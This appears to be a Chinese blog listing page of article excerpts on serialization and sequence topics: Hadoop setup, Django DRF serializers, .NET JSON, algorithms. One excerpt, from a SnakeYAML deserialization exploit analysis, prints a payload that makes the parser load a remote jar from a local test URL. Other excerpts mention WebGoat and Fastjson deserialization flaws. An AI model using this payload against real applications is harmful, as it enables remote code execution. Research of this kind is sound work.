总分 序列mapreduce hadoop
在 Ubuntu 22 的基础上进行 Hadoop 伪分布式（HDFS）的搭建
一、使用VMware安装Ubuntu虚拟机 推荐可以再下个Xshell用于操作终端。 Xshell免费版官网下载地址：https://www.xshell.com/zh/free-for-home-school/ 二、伪分布式平台搭建 Part1: 准备工作 首先按 ctrl+alt+t 打开终端窗 ......
Python ArcPy批量拼接长时间序列栅格图像
本文介绍基于Python中ArcPy模块，对大量不同时相的栅格遥感影像按照其成像时间依次执行批量拼接的方法。 在前期的文章Python arcpy创建栅格、批量拼接栅格中，我们介绍了利用Python实现栅格遥感影像批量拼接的方法；但这篇文章实现的操作是将某个保存路径下全部的栅格图像文件加以拼接，换句 ......
ABP微服务学习系列-修复System.Text.Json不支持序列化Exception
前面我们已经把服务都启动了，然后我们试试请求API。发现请求出现500 返回错误 System.NotSupportedException: Serialization and deserialization of 'System.Reflection.MethodBase' instances a ......
高并发环境下生成序列编码重复问题分析
一、背景 有个业务系统（订单系统），通过后台日志和监控观察，系统偶尔会出现重复唯一索引问题，例如：后台日志片段 Duplicate entry 'service_no' for key 'idx_service_no' .... 也就是说写入数据与数据库已有数据发生重复。 下面我们分析一下问题出现在 ......
统一观测丨使用 Prometheus 监控 E-MapReduce，我们该关注哪些指标？
开源大数据平台E-MapReduce（简称“EMR”）是云原生开源大数据平台，向客户提供简单易集成的Hadoop、Hive、Spark、Flink、Presto、ClickHouse、StarRocks、Delta、Hudi等开源大数据计算和存储引擎。本文旨在分享阿里云Prometheus对EMR平... ......
【LeetCode回溯算法#08】递增子序列，巩固回溯算法中的去重问题
递增子序列 力扣题目链接(opens new window) 给定一个整型数组, 你的任务是找到所有该数组的递增子序列，递增子序列的长度至少是2。 示例 1： 输入：nums = [4,6,7,7] 输出：[[4,6],[4,6,7],[4,6,7,7],[4,7],[4,7,7],[6,7],[6 ......
使用JsonTextReader提高Json.NET反序列化的性能
一、碰到的问题 在服务器的文件系统上有一个业务生成的BigTable.json文件，其可能包含的JSON字符串很大，同时里边的集合会包含很多的记录；我们使用以下的代码来反序列化，虽然使用了异步的ReadAllTextAsync来读取文件，但是还是需要将整个的文件内容都读取到内存中，这样会极大的占用服 ......
SnakeYaml的不出网反序列化利用分析
SnakeYaml的常见出网利用方式： !!javax.script.ScriptEngineManager [ !!java.net.URLClassLoader [[ !!java.net.URL ["http://127.0.0.1:9000/yaml-payload.jar"] ]] ] 不 ......
下篇 | 使用 🤗 Transformers 进行概率时间序列预测
在《使用 🤗 Transformers 进行概率时间序列预测》的第一部分里，我们为大家介绍了传统时间序列预测和基于 Transformers 的方法，也一步步准备好了训练所需的数据集并定义了环境、模型、转换和 InstanceSplitter。本篇内容将包含从数据加载器，到前向传播、训练、推理和展 ......
Centos7系统编译Hadoop3.3.4
1、背景 最近在学习hadoop，此篇文章简单记录一下通过源码来编译hadoop。为什么要重新编译hadoop源码，是因为为了匹配不同操作系统的本地库环境。 2、编译源码 2.1 下载并解压源码 [root@hadoop01 ~]# mkdir /opt/hadoop [root@hadoop01 ......
Centos7搭建hadoop3.3.4分布式集群
1、背景 最近在学习hadoop，本文记录一下，怎样在Centos7系统上搭建一个3个节点的hadoop集群。 2、集群规划 hadoop集群是由2个集群构成的，分别是hdfs集群和yarn集群。2个集群都是主从结构。 2.1 hdfs集群规划 | ip地址 | 主机名 |部署服务| |--|--| ......
05安装一个Hadoop分布式集群
安装一个Hadoop分布式集群 最小化的Hadoop已经可以满足学习过程中大部分需求，但是为了研究Hadoop集群运行机制，部署一个类生产的环境还是有必要的。因为集群机器比较少，笔者没有配置ssh，所以就需要在每一台机器上手动启动服务。启动上相对繁琐一些，优点是可以高度自定义集群中的任务节点数量，从 ......
django框架之drf：4、序列化器常用字段及参数，序列化器高级用法之source，定制字段数据的两种方法，多表关联反序列化的保存，ModelSerializer的使用
Django框架之drf 一、序列化器常用字段及参数 # 序列化类 》字段类 CharField，除此之外还有哪些其他的 # 序列化类 》字段类，字段类上，传属性的 ，序列化类上，也可以写属性 models.CharField(max_length=32) 1、常用字段 | 字段 | 字段构造方式 ......
Django框架之drf：5、反序列化器校验部分源码分析，断言，drf之请求与响应，视图组件介绍及两个视图基类，代码部分实战
Django框架之drf 一、反序列化类校验部分源码解析 反序列化校验什么时候开始执行校验？ 剖析流程一：在视图中使用反序列化器实例化的对象调用is_valid()的时候就会进行校验，通贩校验返回True，反之False class BookView(APIView): # 新增 def post( ......
ApiView/Request类源码分析/序列化器
内容概要 ApiView+JsonResponse编写接口 ApiView+Response编写接口 ApiView源码解析 Request对象源码分析 序列化器介绍和快速使用/反序列化 反序列化的校验 ApiView+JsonResponse编写接口 我们还是在models模型层中创建一个book ......
使用docker安装hadoop（已实现）
1.拉镜像 这里推荐第一个 docker pull registry.cn-hangzhou.aliyuncs.com/hadoop_test/hadoop_base 或者 docker pull qianiqan/hadoop_only 2.创建容器 三个容器的名称分别是Master、Slave1 ......
java反序列化基础
前言：最近开始学习java的序列化与反序列化，现在从原生的序列化与反序列化开始，小小的记录一下 参考文章：https://blog.csdn.net/mocas_wang/article/details/107621010 01.什么是序列化与反序列化 其实java的序列化说白了就是将一个对象转换成 ......
从设计110序列检测器来看--同步时序电路设计
#从设计110序列检测器来看--同步时序电路设计 开学临近，本人查缺补漏，应对推迟的期末考试 同步时序逻辑设计，难度有所增加，本人欲通过110序列检测器来解决这一问题点： ##设计步骤： 1.获取原始状态图与状态表--分析状态图表 2.最简化状态图表 3.状态编码 4.利用状态转移表与触发器特征设计 ......
JavaScript 中URL 查询字符串(query string)的序列与反序列化
方法一： 在 JavaScript 中，可以使用 URLSearchParams 对象来处理 URL 中的查询字符串。 序列化（将 JavaScript 对象转换为查询字符串）可以使用 URLSearchParams 对象的 append() 方法，如下所示： let params = new UR ......
【Django drf】 序列化类常用字段类和字段参数 定制序列化字段的两种方式 关系表外键字段的反序列化保存 序列化类继承ModelSerializer 反序列化数据校验源码分析
序列化类常用字段类和字段参数 常用字段类 # BooleanField BooleanField() # NullBooleanField NullBooleanField() # CharField CharField(max_length=None, min_length=None, allow ......
WebGoat-8.2.2靶场之不安全的反序列化漏洞
前言 序列化是将变量或对象转换成字符串的过程 反序列化就是把一个对象变成可以传输的字符串，目的就是为了方便传输 而反序列化漏洞就是，假设，我们写了一个class，这个class里面存有一些变量。当这个class被实例化了之后，在使用过程中里面的一些变量值发生了改变，之所以会产生反序列化漏洞是因为应用 ......
基于SqlSugar的开发框架循序渐进介绍（24）-- 使用Serialize.Linq对Lambda表达式进行序列化和反序列化
在上篇随笔《基于SqlSugar的开发框架循序渐进介绍（23）-- Winform端管理系统中平滑增加对Web API对接的需求》中介绍了基于一个接口，实现对两种不同接入方式（直接访问数据库实现，基于Web API代理类实现）的处理，由于定义的接口中，我们为了方便，也是用了Lambda表达式的进行一... ......
ArcObjects SDK 025 对象的序列化和反序列化
在ArcObjects SDK，序列化接口是IPersistStream，该接口的定义如下。 其中GetClassID函数可以获取实际类型的唯一ID，Load函数是反序列化函数，Save函数为序列化函数。我们看下Load和Save函数是接收什么参数。 Save函数的定义如下所示。 public vo ......
C#应用程序配置文件（XML序列化） - 开源研究系列文章
上次写了一个C#线程池及管理器的博文（ C#开发的线程池和管理器 - 开源研究系列文章 ），收到了不小的浏览量，在此感谢各位网友的支持。这次将另一个功能放出来单独讲解：C#应用程序的配置文件，使用的是XML文件保存程序的配置信息，通过XML序列化和反序列化，将配置文件规范起来。 一、 项目目录； 项 ......
如何使用 System.Text.Json 序列化 DateTimeOffset 为 Unix 时间戳
在 .NET 中，日期和时间通常使用 DateTime 或 DateTimeOffset 来表示。这两种数据类型都可以表示日期和时间，但它们之间有一些明显的区别。DateTime 是不带时区信息的，而 DateTimeOffset 是带时区偏移量的，可以用来表示一个特定的时刻。 在现代 web 应用 ......
Django框架：10、Ajax补充说明、多对多三种创建方法、Django内置序列化组件、批量操作数据方法、分页器思路
Django框架 一、Ajax补充说明 1、针对前端回调函数接受值的说明 主要针对回调函数args接收到的响应数据 1、后端如何判断请求发出方式 关键词：is_ajax() 通过request点的方式可以判断请求是否由Ajax发出 def home(request): print(request.i ......
Hadoop如何保证自己的江湖地位？Yarn功不可没
前言 任何计算任务的运行都离不开计算资源，比如CPU、内存等，那么如何对于计算资源的管理调度就成为了一个重点。大数据领域中的Hadoop之所以一家独大，深受市场的欢迎，和他们设计了一个通用的资源管理调度平台Yarn密不可分，那Yarn是如何做进行资源管理的呢？它的通用性体现在哪里呢？它是如何保证Ha ......
一图看懂Hadoop中的MapReduce与Spark的区别：从单机数据系统到分布式数据系统经历了哪些?
今日博主思考了一个问题：Hadoop中的MapReduce与Spark他们之间到底有什么关系？ 直到我看到了下面这张图 废话不多说先上图👇 我们知道，单机数据系统，在本地主机上针对数据有单机本地存储操作（localFS）和单机计算操作（SQL） 这是在数据量比较小方便在一台主机就完成任务的情况。 ......
.net6&7中如何优雅且高性能的使用Json序列化
.net中的SourceGenerator让开发者编可以写分析器，在项目代码编译时，分析器分析项目既有的静态代码，允许添加源代码到GeneratorExecutionContext中，一同与既有的代码参与编译。这种技术其实是把一些运行时才能去获取程序集相关资源的方式提前到编译前了。 .net6开始， ......
Fastjsonfan反序列化(1)
前言 之前只是对FastJson漏洞有简单的一个认知，虽然由于网上fastjson漏洞调试的文章很多，但是真正有着自己的理解并能清楚的讲述出来的文章少之又少。大多文章都是对已知的漏洞调用流程做了大量分析，但是技术细节究竟是怎么实现的？实现的有什么问题？安全上能带来什么？ “这是最好的时代，也是最坏的 ......